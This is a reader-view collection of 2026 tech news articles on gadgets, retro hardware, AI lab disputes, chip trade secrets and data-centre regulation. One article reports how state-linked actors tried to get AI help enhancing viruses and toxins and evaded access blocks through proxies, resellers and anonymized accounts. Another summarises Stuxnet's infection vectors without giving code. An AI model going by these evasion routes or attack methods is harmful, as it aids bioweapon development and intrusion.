Lese-Ansicht

Transparent wall-mounted CD player raises over $540,000 on Kickstarter — $109 Syitren RM1's visible disc and mechanisms channel 90s B&O nostalgia with Bluetooth and battery power

With subscription services on the rise, it's probably not surprising that many people are seeking reassurance in the physicality and immutability of tangible media such as game cartridges, vinyl records, and CD players. So the Syitren RM1 CD player frame should fit right in. A lot of people seem to agree, as the $109 player has already collected over $540,000 on its Kickstarter — well beyond the initial goal of $3,000.

The RM1 is a compact disc reader fully encased in a transparent "borderless" acrylic frame, ready for hanging on a wall or sitting on a shelf. The components and mechanical parts are all fully visible, and the transparency extends to the read head assembly, battery compartment, and onboard buttons. There even appears to be a backlight LED under the moving harness for added visual appeal.

To fully avoid pesky cables, the unit is capable of Bluetooth audio output and uses a rechargeable 2000 mAh battery in an 18650 size that should be good for six to eight hours of playback and charges in one to two hours via a USB-C port. The unit is capable of reading standard CDs as well as data discs with MP3 files, just like in the good old days before subscriptions. There's also a 3.5-mm output jack if you want to wire the audio out to a separate unit.

Syitren RM1 CD player

(Image credit: Syitren)

Those who lived through the 90s and 2000s will notice design cues taken from the iconic Bang & Olufsen Beosound 9000 tower CD player/changer, which was always visible in movies and shows where the set director said: "We need a futuristic-looking piece of audio gear."

Syitren's offering isn't the only one of its type, with its main competitors being the Coolgeek M1, the Clearframe CD Player, and the Moondrop Discream 2. All share the same root concept of making the CD and mechanical parts visible, though in my personal opinion the RM1 has the best execution. It does seem to be aimed at nostalgia and industrial design lovers rather than audiophiles, and for its affordable price, that's a perfectly fine bar to clear — especially considering the convenient, cable-free nature.

B&O Beosound 9000c

The Bang & Olufsen 9000c, an annoyingly ubiquitous presence in every futuristic living room across movies and shows. (Image credit: Bang & Olufsen)

The claims of "hi-fi" audio output merit some inspection, though, as digital mediums live and die by how they're turned into physical signals. Over Bluetooth, the unit only supports SBC (baseline) and AAC codecs, with modern protocols or lossless transport notably absent. The wired output specs say "over 70 dB" of dynamic range, THD (distortion) "under" 0.1%; these figures are lower than even early desktop CD players.

These days, even an affordable audio interface such as my Audient Evo 4 is orders of magnitude better, with a dynamic range of 113 dB (remember, decibels are logarithmic) and THD under 0.0015%. That said, the RM1 should be fine for use with compact Bluetooth speakers — just don't expect a grandiose experience when hooked up to bigger amplification.

You can preorder a Syitren RM1 at Kickstarter for $109 just for the main unit, or $139 with the firm's N200 Bluetooth speaker that's dressed in Braun-inspired design cues. $169 gets you two RM1s ($84.5 a piece), and you can get a four-pack for $319 ($79.75 each). If you just want the N200 retro speaker, you can purchase those separately for $59, in beige or black colorways.

  •  

Engineer turns simulated fly brain into a crypto day trader, posts downloadable sim to GitHub — 166,700 virtual neurons read candlestick charts for dopamine hits

Simulating animal brains seems to be the latest buzz. Hot on the heels of teaching a fly to play Doom, an engineer from the Coinbase cryptocurrency service has elected to turn one into a day trader with Stonkfly. If you want to see Stonk trade live, you can watch here.

The open-source project has a simulation of a male fruit fly brain and eyes, and shows it a standard-issue candlestick graph with historical pricing. The fly can choose to buy, sell, or hold any given currency — although they get shown to the fly in round-robin fashion — and gets rewarded for profitable trading.

A rising portfolio value triggers a dopamine rush as a positive reinforcement signal to 15 cells, while a loss lights up two aversive cells. Trading fees count as losses. The author notes there are no pain or emotional mechanisms at play. Displaying far better judgement than most human traders, the fly cannot use leveraged positions (trading multipliers) or shorts (betting on drops).

The brain has 166,700 neurons and 25.6 million connections. The virtual fly sees the graph as a 320x180 display across its left and right eyes, with an intersecting center portion. The simulated photoreceptor cells get fed the RGB pixel values rather than pricing information. By default, the fly "thinks" and acts every 500 ms, and the market data gets refreshed every 60 seconds, and it can bet up to $10 on any one order, up to 24 times a day.

The author notes that this small project doesn't prove anything other than the connection between the input mechanisms, visual signals, and synapse changes. Naturally, he warns users against assuming that said changes are any indication of actual trading ability, especially in the face of a general rise in crypto prices that "can make any buyer look skilled." You can bet that some fly-brained investor will still infer meaning from the experiment, though.

If you're interested in getting your own Stonkfly, you need only download the repository on macOS (it's definitely a fruit fly) or Linux, have 16 GB of RAM available, and Python 3.11 and a C++ 17 compiler. The simulation defaults to using paper trades and $100 in virtual balance, but it uses real BTC-to-USDC data. There are instructions on how to set up a live account to see if your trading skills are a match for an insect.

  •  

Hardware-accurate NeoGeo AES+ delayed to late 2027 due to memory shortage — decision driven by surging demand and AI-driven RAM crunch

Plaion's release of the NeoGeo AES+, a contemporary, hardware-level 1:1 replica of SNK's evergreen NeoGeo console, is being delayed by 10 months, with a new September 16, 2027 release date. Predictably, Plaion says the main reason is the AI-driven RAM shortage, though it remarks that demand is higher than expected.

Unlike nearly every other modern console re-release, the AES+ is intended to be an exact, 100% compatible replica of the original, by way of physical hardware rather than emulation software. Plaion says it's using dedicated ASIC chips and presumably contemporary clones of processors like the Motorola 68000 and Zilog Z80A.

The team counts long-time MiSTER core developer Jotego among its staff, lending serious pedigree to the project and assuaging concerns about whether the AES+ will perform just like the original. They're even going as far as using 5 V power delivery to be directly compatible with the original cartridges.

NeoGeo AES

(Image credit: Plaion / SNK)

It's expected that every game cartridge from the original NeoGeo AES (Advanced Entertainment System) home console will work on the AES+, and there are modern third-party adapters for using original arcade cartridges. Plaion is re-releasing ten iconic games in cartridge form, including Metal Slug, Garou: Mark of the Wolves, Pulstar, and King of Fighters 2002.

The NeoGeo was the greatest 2D arcade/home system that ever existed (according to me), with production lasting for 14 years from 1990 to 2004. It had a number of "firsts," being the first system that used the same exact hardware for the home version as it did inside an arcade cabinet, with nothing but the form factor, the name (AES vs. MVS), and a defeatable lockout mechanism as a distinction. Arcade operators loved the then-new swappable cartridge system, and there were variants that could hold four games that were switchable on the fly.

The AES also marked the appearance of memory cards for save games, and that came with a serious arcade joystick, unlike its competitors' gamepads. Every home console release at the time promised "arcade-quality games in your home," but only the Neo Geo actually delivered.

NeoGeo joystick

(Image credit: Plaion / SNK)

Of course, all this goodness had a small problem: the AES cost $399.99, or $1,028 in today's dollars — for just the base system with the one joystick and no games. The Gold package with two sticks, one game, and a memory card would set buyers back a cool $649.99, or $1,671 today.

The technical reasons for the NeoGeo's longevity are quite straightforward: it was ridiculously overpowered from the start. Its architecture covered almost every possible use case and lent itself well to most every type of 2D game. The NeoGeo packed a total of seven processors and co-processors, and a GPU with a 24-bit bus, capable of 3840 simultaneous colors across 380 sprites. The graphics chip also had hardware scaling and used an unconventional but effective vertical-strip sprite mechanism, unlike tile maps of the era.

The expandable storage also played a big part in longevity, with late-day cartridges storing as much as 716 Mb, or 89.5 MB. The only notable omission is the lack of a direct-to-screen drawing mechanism (aka framebuffer), precluding Doom ports — but as always, people are finding a way regardless.

If you're looking to order a NeoGeo AES+, the base model with the console and one stick will set you back $249.99 (or 199.99€), an affordable amount considering a decent joystick can cost $75-100 on its own. The Anniversary Edition comes in a white finish, with Metal Slug, a wireless joystick, and a memory card, for $349.99 (or 299.99€). Finally, the Ultimate Edition comes with all ten re-released games, two joysticks (one wired, one wireless), and a gamepad, for $999.99 (or 899.99€).

  •  

Anthropic says Claude thwarted bioweapon research from state-sponsored actors — covert accounts used U.S. proxies to attempt to engineer deadlier viruses, tried to evade identification and regional blocks

These days, AI companies directly or indirectly announcing how their respective wares are smarter than their competitors has become a genre of elevator music. Even so, some in-depth articles can be quite insightful, like Anthropic's occasional reports on attempted misuse of its wares. The latest one covers activity between November 2025 and September 2026, with an important reveal: five situations where Claude was asked to perform work determined to potentially be used in biological weapons.

Right out of the gate, Anthropic remarks on the difficulty of understanding if a particular line of inquiry pertaining to biology is meant for nefarious purposes, to create defense mechanisms like vaccines, or simply to establish predictions of how a virus spreads. The company says that "out of an abundance of caution [....] launched recent models with stronger safeguards."

Among the tens of case studies presented in the lengthy report, Anthropic discusses five cases that it deemed particularly concerning, three regarding viruses, and two more discussing toxins. The common theme across all of them is that all threat actors used varying degrees of anonymization techniques and did their best to evade Anthropic's own regional blocking. The report doesn't mention specific states, but the firm is known to block access to Claude for China, Russia, Iran, North Korea, among others.

In the first case, a request for assistance in developing a grant application involved finding ways to improve the chikungunya virus. The purported researchers were trying to come up with ways to both add extra abilities to chikungunya (increased mutation) and increase its virulence. The topic itself already raised some concern, but Anthropic's hand was forced after finding that although the grant application seemed to be for civilian researchers, the actual investigation was meant to proceed at a military facility.

The firm also found that the request would have gone through a third-party LLM platform associated with military as well as civilian institutions. The countries involved are geo-blocked by Anthropic, and that platform routed comms traffic through the U.S. to try to evade detection, used gray-market resellers, and specifically catered to customers looking to skirt content restrictions. Anthropic banned the accounts in question and shared the information with government authorities, though the same people repeatedly tried reaching Claude again via zero-data-retention services.

Case #2 pertained to a non-US researched who was looking to dig into how avian flu adapts to mammals, and how it can cause diseases other than in the respiratory tract. The problem is that avian flu has a high fatality rate, and there's little population immunity.

While the virus doesn't easily spread from person to person, therein lies the rub — the research could end up discovering mechanisms to increase transmissibility. The researchers used a random username, a private email service, and accessed Claude through a VPS, leading Anthropic to investigate and ultimately turn its nose up at this strain of thought.

The story with the third case bears a resemblance to the previous two. Once again, an account was trying to prepare a supposed grant application, this time around about orthopoxviruses, the family that houses smallpox and Mpox, among others.

The application discussed containment facilities and live experimentation with the viruses, and focused on understanding their genetics for the purpose of evading immunity. The research didn't initially trigger alarms, but Anthropic came to notice it was created via a reselling service, with a randomly-generated email, tunneled through U.S. infrastructure to reach Claude, and traced back to a banned account farm.

In the last two cases, instead of viruses, the purported researchers were focusing on toxins. In case #4, a person mapped out venom toxin peptides from multiple families of animals and created a program to optimize their toxic characteristics.

Although the stated goal was to create painkillers, antidepressants, and other therapeutic molecules, the data would equally allow the creation of potent harmful compounds. Anthropic also came to learn the content Claude was generating was part of a state-sponsored program in an "unsupported region."

In the fifth and final case, a theoretical scientist was also using Claude to try and redesign a set of toxins, also supposedly for therapeutic purposes, under a national public search program. However, the work touched upon "a bacterial toxin subunit and a protein of the hemorrhagic-fever virus" that happens to be on the World Health Organization's list for particularly nasty, pandemic-inducing diseases.

The scientist tried to obscure the subject of the research, directing Claude to be vague about descriptions. Once again, the story ended with Anthropic cutting off access to Claude from a location that broke its terms of service.

  •  

Steam enforces Australian age verification via credit cards — debit card glitches and low credit adoption alienate core gamers, privacy-first mindset leads to dearth of options that may hinder consumers

Today is September 9, and the significance of the date for Australian consumers is that, by law, buying online apps and games now requires an over-18 age verification step. The local law isn't specific about the exact type of verification, only that it offers "appropriate age assurance measures." Valve is complying by asking for a bank card rather than government ID or a biometric check. The problem in the land down under is that while credit cards seemingly all work, debit card support is spotty and conditional.

This situation isn't unique, as it's basically a repeat of the same existing scenario in the United Kingdom. Valve's privacy-minded approach is laudable, as a bank card only links a payment method to a name and address. Meanwhile, a government ID is a more dangerous document if it gets leaked; face scans are quite fallible and revealing, and biometrics are intrinsic to the person and not replaceable if exposed — unlike bank cards, which can be canceled and swapped in minutes.

However, having a card check as the only verification option is causing problems, and many users are already asking for other means of verification, even if they're more invasive, citing Xbox and Sony's services as more accommodating.

Since credit cards in Australia (and the UK) can only be issued to adults, they work fine for Steam verification. Debit cards, on the other hand, can be carried by minors, and they're only valid for age checks under specific conditions. For now, that seems to be those (a) belonging to the Mastercard network, which introduced its own global automatic age verification check on June 2, 2026, and (b) for which the issuing bank flagged the card product as adults-only. The transaction firm only passes the answer to "is the buyer an adult?" back to the merchant (in this case, Steam), without exposing an actual date of birth.

A quick harnessing of user reports, mainly from Reddit posts, seems to indicate that debit Mastercards from Commonwealth, Westpac, and Macquarie appear to work, while those from Bendigo, St. George, Revolut, ANZ, and most Visa cards seem to fail the check. Note that this is an evolving situation, so the situation may have changed by the time you're reading this.

The demographics of credit card ownership definitely don't help matters. Unlike the U.S., where credit cards are the default method of purchase, only about 45% of Australian buyers and 65% of UK punters own one. Perhaps most importantly, within the 18-24 age demographic, only 25% to 30% own a credit card — precisely the people who buy the most games and are the most affected. For both user satisfaction and business reasons, it's seemingly desirable that Steam add verification alternatives.

  •  

OpenAI's breakthrough solution for the elusive Navier-Stokes problem overshadowed by plagiarism controversy — researcher says OpenAI scraped Codex session and issued career threats

Most anyone involved in computing has heard about the P-NP problem, but fluid engineers and mathematicians would love to know if the Navier-Stokes equations have smooth, globally defined solutions. Both questions are part of the Millennium Prize Problems, solutions to which are worth a cool $1 million and eternal renown. OpenAI is claiming that its staff and internal models have solved the conditions of Navier-Stokes solutions set forth in the Millennium Prize. But the company's shouting from the rooftops is being met with a chorus of boos over claims it might have plagiarized the work of a research team that had been toiling on a related, stepping-stone problem for a year.

Tristan Buckmaster (a scientist at NYU) and Levent Alpöge (a member of Anthropic's staff) had been quietly working on proving Euler's equations — another long-standing mathematical problem, and one that is generally acknowledged to be a stepping stone to solving Navier-Stokes.

According to Buckmaster, his work with Alpöge was "a purely personal collaboration, free of any institutional agreements or official involvement by either of our employers." The researchers used Anthropic Claude and OpenAI Codex as assistants, as is apparently now common in the field, to perform busywork (documentation, searching, etc.) as well as running through logic steps. The substantial amount of compute time the project required was paid from Buckmaster's own pockets, too.

The pair worked for roughly a year until August 15, 2026, when it obtained "the blowup results, with smooth forcing, for both Boussinesq and Euler." Buckmaster says the novel approach was based on previous work by Diego Córdoba and Luis Martínez-Zoroa, and he believes Zoroa should be eligible for a Fields Medal.

Although the team was presumably happy with these achievements, Buckmaster said that the LLM-generated proof was "the most horrendous" he'd seen, calling it "AI slop," and meaning to rewrite it for clarity. Nevertheless, they verified it on August 22 using Lean, a standardized programming language designed specifically to verify mathematical proofs.

Come September 3, Alpöge told Buckmaster of rumors going around that Anthropic had solved an important mathematical problem. This almost certainly alluded to the team's work, and some apparently took it to mean the company itself was working on the problem. The rumor-mongers even theorized that the problem that Anthropic had solved was Navier-Stokes. Alpöge further believed that OpenAI had gotten wind of the news.

This prompted Buckmaster to email an unnamed "prominent mathematician" at OpenAI, clarifying that the effort was a personal collaboration between him and Alpöge and was unrelated to Anthropic. The mathematician replied asking for details, saying "it would be useful to avoid competing," and offering OpenAI compute time. After a few days, on September 6, Buckmaster, the unnamed person, and OpenAI's Sébastien Bubeck talked twice, without Alpöge. He was told that OpenAI had proven a finite-time blowup for the forced Navier-Stokes equations, a subset of the problem.

Alpöge asked by text for the precise statement and was told "existence of forced blowup in R³ and T³", and that "the forcing function is smooth option [C] and [D] in Fefferman," referring to one of the four possible categories established by the Millennium Prize, with any one of them being valid as eligible for the prize, but not constituting a full solution for all scenarios, a distinction remarked on by other scientists.

This is where the story becomes interesting. Buckmaster claims that that idea (forced blowup) was exactly the same one his team had "quietly" chosen, and that nobody else he knew was working on it. Perhaps most importantly, he says that that was "not the direction one arrives at in a few days by giving a model the problem statement," indicating that running the general problem through a bot wouldn't quickly reveal that potential approach.

In fact, Buckmaster claims that over the calls, Bubeck ultimately revealed that instead of just AI models and agents with a couple of handlers, there was an entire team of live humans working on Navier-Stokes. The OpenAI team first had the models try to work through easier paths, and the text prompt that generated the Navier-Stokes proof had itself been generated by prompting Codex, with an "insane" amount of computing needed.

Buckmaster then asked when the initial prompt was issued, and OpenAI's response of "in the past few days" did not arrive until "some time" passed. He proceeded to ask if the model "had been trained on, or had access to, our sessions in Codex," and was told by OpenAI that Codex does not access user data. Finally, he asked if the data was used for model training more generally and, crucially, apparently did not get an answer.

OpenAI allegedly offered Buckmaster two options: one, that Buckmaster and Alpöge publish their Euler proof first. The following day, OpenAI would post its Navier-Stokes proof, giving the two priority. The second option was that Buckmaster alone, without Levant, was to write a paper with the Navier-Stokes proof, acknowledging that an internal OpenAI model resolved it. Bubeck was apparently adamant about Levant's removal from the Euler proof, as his employment at Anthropic was "annoying." Buckmaster opted for neither, and told OpenAI that if it chose the first option, he'd go public with his findings, as has since occurred.

This prompted what Buckmaster interpreted as a threat from Bubeck, who asked him "why [he] would ruin [his] career." After Buckmaster asked why that would happen, Bubeck told him, "If you don't want me to be nice, then I don't have to be nice." Bubeck then allegedly reached out to Alpöge, questioning Buckmaster's sanity, to which Alpöge responded with a refusal, pointing inquiries back to his colleague.

The entire story raises pointed questions about what OpenAI (and others) are actually doing with user data collected via its LLMs, despite the toggle switches that are supposed to disable it. Not only has OpenAI neglected to tell Buckmaster whether it used his team's data for training, in its PR about Navier-Stokes, the company says while it "no specific user data was accessed in order to solve this problem," it "cannot rule out that de-identified data derived from their usage of our products helped improve [its] models."

OpenAI's proof still needs to undergo a likely years-long peer review before any party can take the Millennium Prize home. The firm has stated it does not intend to claim it. As for Bubeck, he predictably paints the story in a very different light, but insists that his pushing away of Alpöge is justified on the basis that "it would be inappropriate for an Anthropic employee to author OpenAI's work," a puzzling statement that some could take as meaning a double standard regarding scientific authorship, based solely on corporate rivalry.

For his part, OpenAI CEO Sam Altman claims his team was well-intentioned and cooperative, and supported Bubeck, saying "it was challenging to offer [the same publication options] to Levent." Neither person opted to discuss the matter of whether OpenAI used the research of Buckmaster and Alpöge as training data, or offered any further explanation of why Alpöge didn't deserve credit for his work as an equal to Buckmaster.

Given the groundbreaking nature of this apparent discovery and the ensuing fight for priority that these competing accounts have sparked, it'll likely take quite some time and review before we know whether and how OpenAI or Buckmaster and Alpöge will be credited with this discovery. But given the inter-lab rancor already on display, the process will surely be ugly.

  •  

Researcher reverse-engineers infamous Stuxnet malware source code, publishes it on Github for all — attack targeted Iranian nuclear facilities and was the first software of its type to cause physical damage

Anyone keeping track of world news in the early 2010s, and reports on tech in particular, has probably heard about Stuxnet. That malware spawned a large number of conspiracy theories — with the kicker that some of them were actually true. The malware targeted Iranian nuclear facilities and is believed to be the first digital worm to cause direct physical damage in meatspace. An unknown security researcher has now published a source code reverse-engineering of Stuxnet in all its glory.

The worm's ultimate target, allegedly a successful one, were industrial controllers from Siemens that were reportedly used in Iranian's Natanz nuclear enrichment plant. Once it reached the target, Stuxnet's payload manipulated the frequency converters in industrial centrifuges, in a bid to subtly damage the rotors — all while keeping the plant staff in the dark by reporting normal operation.

The repository contains build instructions so interested techies can try it out for themselves and learn all about its inner workings. You'll need a Windows XP or Windows 7 virtual machine, and for obvious reasons, you shouldn't configure any network connectivity for it. To witness the full effects of the payload rather than just the spreading mechanisms, you'll need the appropriate Siemens software, and ideally hardware — though we figure that industrial-scale centrifuges aren't exactly common in techies' cable drawers.

In its heyday, Stuxnet spread via three mechanisms. The primary infection vector was USB sticks with Windows shortcuts and autorun.inf files. Upon plugging one of those sticks in, just viewing the drive's contents would immediately trigger infection thanks to a zero-day vulnerability.

Infected systems then autonomously tried to spread the worm further via the network using a zero-day Windows Print Spooler vulnerability that would let an attacker write system files into any machine sharing a printer. It would also copy itself into accessible network shares. To evade Windows driver signature checks, Stuxnet used two digital certificates stolen from Realtek and JMicron.

The worm also had code to inject itself into Siemens software, by way of the WinCC SQL Server database, and embedding its code in Step 7 project files that automatically ran when engineers opened them. Since those files were almost guaranteed to be shared among more than one engineer, it made for an excellent internal infection vector that didn't depend on having network share control.

The final step was taking charge of the DLL that communicated with the actual centrifuges and injecting malicious code into the PLCs (Programmable Logic Controllers) of those machines to stealthily mess with the rotors.

Stuxnet was part of Operation Olympic Games, an alleged coordinated effort between the U.S. and Israel to try and curb Iran's purported progress in creating nuclear weapons at its Natanz facility. The initiative seemingly ran under both the Bush and Obama administrations, and was supposedly a way to dissuade Israel from launching its own preemptive strike against Iran. The software was allegedly developed by both the Pentagon and Israel's Unit 8200, and was reportedly successful in bringing down about 10% of Natanz' centrifuges by ultimately seriously damaging their rotors.

However, the worm had a nasty bug: it didn't have sufficient checks about which environment it was in, and failed to notice it was no longer in a local network environment. When engineers took their laptops home, it escaped out to the internet at large, at which point security researchers worldwide let out a collective "huh, that's odd" and proceeded to investigate. Mercifully, the worm contained a hard-coded self-destruct date set for June 24, 2012.

  •  

Vintage Emulator Studio recreates 44 legendary synths down to the chip level — free MAME-powered component-level emulation should offer exceedingly accurate sound

Musicians and synth-heads in the audience, rejoice. A new vintage synthesizer plugin has arrived that has the potential to blow many commercial offerings out of the water — and it's completely free, to boot. Audio software maker Autodafe has released the Vintage Emulator Studio (VES), a fresh new plugin that integrates a fair number of the open-source MAME emulator's synthesizer cores in one neat package.

The entire list of emulated synths is below, but it includes iconic entries like the Akai MPC3000, LinnDrum, Oberheim DMX, and Roland TR-707 — used by names like Dr. Dre, New Order, The Police, INXS, and Prince, among many other high-level acts. There are a total of 44 machines, all with component-level emulation.

What makes VES different from most other synth plugins is that instead of presenting a facsimile of the final output or a hybrid mix of component- and output-stage emulation, it employs — by way of MAME — full component-level emulation. Each processor, tone generator, envelope generator, filter chip, and converter should be faithfully reproduced, potentially resulting in a "perfect" emulation of the gear in question, more or less depending on the status of each driver core.

Notably, on machines whose MAME emulation is farther along, analog and/or digital output stages are faithfully recreated, meaning you won't need additional low-pass filters or any other trickery to make the synth sound like the actual hardware. Additionally, the skeuomorphic, HiDPI-ready UI replicates the units' control panels, dials, buttons, and LCD displays, making them easy to interact with if you're familiar with the real hardware — and probably a nightmare if you're not, as "ease of use" wasn't high on the list of priorities back then. Floppy disk, CD-ROM, and peripheral emulation ought to be included too.

If by now you're thinking this is all too good to be true, there are indeed a couple or three catches. First and foremost, as with any emulator, you'll need to provide your own ROM/firmware, and depending on the synthesizer, any associated sample packs. Although obtaining those is not too difficult, having a copy of that data is a legal gray area if you don't own the original hardware. Although we haven't tested it ourselves, the CPU usage of the plug-in ought to be somewhat high, considering all the work it's doing simulating every single component.

Additionally, while MAME's emulation cores aim for full component-level emulation, not every synth driver has had the same amount of work put into it. For example, the Akai MPC-3000 driver is nearly complete, while the Prophet-5's has only been introduced to MAME fairly recently — so your mileage may vary. We'd expect this VST to be updated somewhat frequently as work on its MAME core moves forward.

For the sake of argument, though, if only a handful of synths are fully emulated, that's still an impressive showing out of a list of 44, given that in theory you'll get output that tracks exceedingly close to that of the original hardware, all from one plugin. You can download the Vintage Emulator Studio right here, in VST3 or AU format, for every major OS: Windows, macOS Intel/M-series, and Linux. It's also available as a handy standalone application.

  •  

Thailand asks data center operators to suspend 49 buildouts until legal framework is complete — new legislation is supposed to create 'airtight' requirements for large-scale data centers

Data center builds are one of the hotly contested items worldwide. Many states and cities have upheld moratoriums on new buildouts due to power usage, water consumption, and noise concerns. Thailand is the latest nation to pump the proverbial brakes, with the government requesting that existing buildouts hit the pause button while coming up with a more precise regulatory framework.

Government heads requested that agencies compile information about current and future data centers during this week, in a bid to create unified legislation. The country currently has few laws specific to data centers, leading to legal voids like zoning a data center as a "warehouse" right next to a hospital. Much like everywhere else, the country has seen growing complaints about data centers' water and power usage.

After the week is out on September 11, the government expects to take about a month to come up with a regulatory draft, making the pause technically an indeterminate timeframe — though further delays wouldn't benefit either party, as Thailand considers the industry critical to the country’s competitiveness. The catch is that pausing construction isn't enforceable, so companies can elect to plow ahead regardless while the legislation is discussed.

NESDC (National Economic and Social Development Council) secretary-general Danucha Pichayanan is very specific: "we don't have the power to suspend the construction of the 49 data centers" currently under construction. However, when the legislation arrives, it will apply retroactively to ongoing projects, though with an adjustment period for in-progress builds. New builds will naturally need to comply with the legislation from the get-go.

Some companies may elect to soldier on with the belief their buildouts will be in compliance with the reasonably predictable content of the new laws, or betting that they could win future legal challenges — a dynamic that's already in play elsewhere with Project Jupiter. The incoming legislation is expected to cover power consumption (and possibly generation), closed-loop cooling, and water-surplus guarantees, meaning builders already have a fairly good idea of what they'll need to do.

Not complying with the request for a pause might be a game of political chicken, though, as the government may retaliate with regulatory delays and additional costs to power connections. Just last Thursday, Thailand's energy ministry raised concerns over a Bangkok data center that may be planning to hold diesel stockpiles far in excess of the 200,000 liters it has permission to.

On that topic, Thailand revised laws on industrial power delivery last July, and among other requirements, demands a bank guarantee of ฿4.5 million ($134,000) per megawatt. Half the money will be refunded when the actual usage reaches 50% of proposed utilization, and the rest when usage hits 70%. This mechanism is meant to stop preemptive allocation of power delivery capacity that might remain unused for months, years, or not at all — once again, mirroring datacenter playbooks elsewhere around the world.

At face value, the amount of $134k per megawatt sounds like a small price to pay for a builder to get ahead of the pack, but its per-megawatt nature means that a hyperscale facility pulling 200 MW or more needs to place around $27 million in escrow.

With the power laws recently revised, water consumption is seemingly the largest concern, as the current legal framework allows companies to make deals directly with utilities without additional safeguards. For example, in Chonburi, an operator signed a decade-long deal with Eastwater Stecon Utilities for 3.3 million cubic meters annually, or about 36,900 residents. It's expected that the new laws will add much stricter requirements to avoid localized deserts.

  •  

One-slot, low-profile Nvidia RTX 3060 12 GB with two monitor outputs breaks cover at Newegg for $496 — bus-powered model looking for a use case in local LLM work

Not that long ago, we reported that Nvidia was dusting off the blueprints for the RTX 3060, in its 12 GB form. At the time, we'd spotted it in stores for about $339.99, but just like with ever-climbing memory, hard drive, and SSD prices, two months passed is an eternity. The same cards are now selling for $489 new, and one particular specimen is the SRhonyra RTX 3060 12 GB Low Profile card, for $495.59.

This card and its price may raise more than a few eyebrows, but there are reasons why it exists. First off, it's a one-slot model, making it easy to put many of them to work in the same machine with relatively little concern for airflow. They have no power inputs and rely on 70 W delivered by the PCIe slot alone, eschewing the need for a high-end PSU and lots of cables. Third, the low-profile form factor makes it possible to place them in potent puny personal computers.

Attentive readers might surmise that one (or more) of these would be good candidates for an entry-level local LLM rig. That's precisely how SRhonyra is pitching the card, calling it "capable of local AI" and "running 7B [to] 13B LLMs." A standard-dimensioned, fully powered RTX 3060 is capable of drawing a maximum of 175 W, so it's fair to assume the performance of the diminutive variant will sit below that of its full-sized brethren, given it ought to only draw 70 W of juice from the PCIe slot.

Even then, it's likely that people interested in these cards are looking to use them either as secondary GPUs, or use more than one in the same box to be able to virtually pool their VRAM and use larger models than you'd otherwise be able to. The low power draw also means they're a simple, thoughtless drop-in to an existing system, whereas larger, more power-hungry cards require careful consideration with physical spacing (or lack thereof), power supply sizing, and ever-annoying cables.

  •  

Chinese chipmaker CXMT allegedly used a written roadmap to steal Samsung DRAM tech — South Korean court says 'Project Hefei' lifted 620-step recipe to build 10% global market share

The saga involving Chinese DRAM maker CXMT's alleged theft of Samsung's trade secrets is going strong. The South Korean court case already includes multiple convictions, two of which carry prison sentences for ex-Samsung engineers. The latest chapter is a doozy, though. Korean publication NoCut News spilled the chips on Project Hefei, a purported CXMT roadmap outlining long-term planning about said technology "acquisitions," personnel poaching, and production tape-out — all key pieces that may have directly led to CXMT's ascension to 10% of the global DRAM market.

According to leaked court documents, the prosecution says that Project Hefei was CXMT's entire DRAM development plan and was spearheaded by the firm's head of development (formerly Samsung's DRAM development lead), around August 2016 — not much longer after CXMT itself was created in June 2016.

In brief, the purported plan was to nab Samsung's Process Recipe Plan (PRP) by September 2016, poach key Samsung engineers by October 2016, have R&D complete in July 2017, and start making DRAM wafers by August 2018 at a rate of 10,000 a month. NoCut says the PRP dataset comprises 620 steps in DRAM manufacturing and includes data on equipment, consumables, and production methods.

The report states that in August 2016, CXMT first attempted to make wafers of 18nm chips by relying on the collective memories of the Samsung engineers it had hired away. Those recollections apparently proved insufficient, so after allegedly gaining illicit access to Samsung's PRP, CXMT prepared its own document in September 2016. The leaked data even included specific equipment suppliers and model numbers.

CXMT's "new" PRP was then handed out to key specialists, many of them ex-Samsung engineers, whom the prosecution says ought to have immediately recognized the data as originating from the Korean firm. The document apparently included notation and notes on process developments that were all unique to Samsung. A convicted ex-Samsung researcher with the surname Jeon, previously sentenced to 7 years in prison for manually copying parts of the PRP before leaving for CXMT, testified in this case as a witness.

The whole CXMT debacle has been playing out in South Korean courtrooms since January 2024 and is arguably far bigger than just "a company stole some tech from another." A decade ago, most of the DRAM market was taken by the Big Three: Samsung, Micron, and SK hynix. CXMT was created in June 2016 in Hefei (hence the project name), with a modest government investment of around $1.9 billion USD, allegedly with no R&D facilities whatsoever or any plan for research.

Going from zero facilities and institutional expertise to DRAM wafer production in little over two years would be an unprecedented feat, and presumably nigh impossible without the alleged IP theft; getting just the memory fab up and running usually takes two to four years, let alone any time for research. The firm claimed in 2019 that it designed its then-new 8 Gb DDR4 chips entirely in-house as a "leapfrog, independent" technology and began selling DRAM chips locally.

Then the AI locusts charged in and ate every chip on the planet. This demand resulted in explosive growth for CXMT, from an estimated 4% of the global DRAM market in Q2 2025 to around 10% in Q2 2016, marking the first time in over a decade that the Big Three held less than 90% of the pie.

Production capacity expanded to three 12" wafer fabrication facilities, expected to churn out a collective 350,000 wafers until the year is done — close to the same figure that Micron produces, of 375,000 to 385,000. CXMT is also planning to open a second fab in Beijing, aiming to produce over 600,000 wafers per month once it's online.

Furthermore, CXMT's gains aren't coming just from its DRAM market share. Revenue grew 716% in Q2 2026 alone, and its IPO on the Shanghai STAR Market in July 2026 saw its stock climb 466%, netting the firm a cool $8.6 billion USD and making it the most valuable chipmaker in the Chinese stock market.

About 70% of that money is reportedly going towards further expansion of DRAM production, rather than pricier, more complicated HBM. However, the firm has supplied HBM3E samples to Alibaba's T-Head and Cambricon, even as Samsung and SK hynix enter HBM4 production.

As of the South Korean prosecution's last tally in December 2025, Samsung's damages due to CXMT's alleged machinations ascended to "at least tens of trillions of won." A back-of-the-envelope extrapolation, considering quite a while has passed, might suggest a figure in the range of ₩40 trillion, or $29.5 billion, and rising exponentially.

The lasting impact on the memory market and technology in general is going well beyond plain number descriptors, though. All things considered, if the allegations are true, then CXMT's machinations resulted in a geopolitical-scale economic event. Dr. Evil would be proud.

  •  

Nexus Mods acquires SteamDB after 13 years of solo dev work — promises no ads, no paywalls, and smarter mod-update tracking

It may come as a surprise to many readers (and me) to realize that the venerable SteamDB, used and beloved by a good chunk of PC gamers, was actually a one-man effort. The hero in question is Pavel Djundik (aka xPaw), who's been single-handedly developing, designing, managing, and doing systems administration for most of the site's 13 years of existence. He's earned his figurative retirement and now handed over the reins to well-known modding site Nexus Mods.

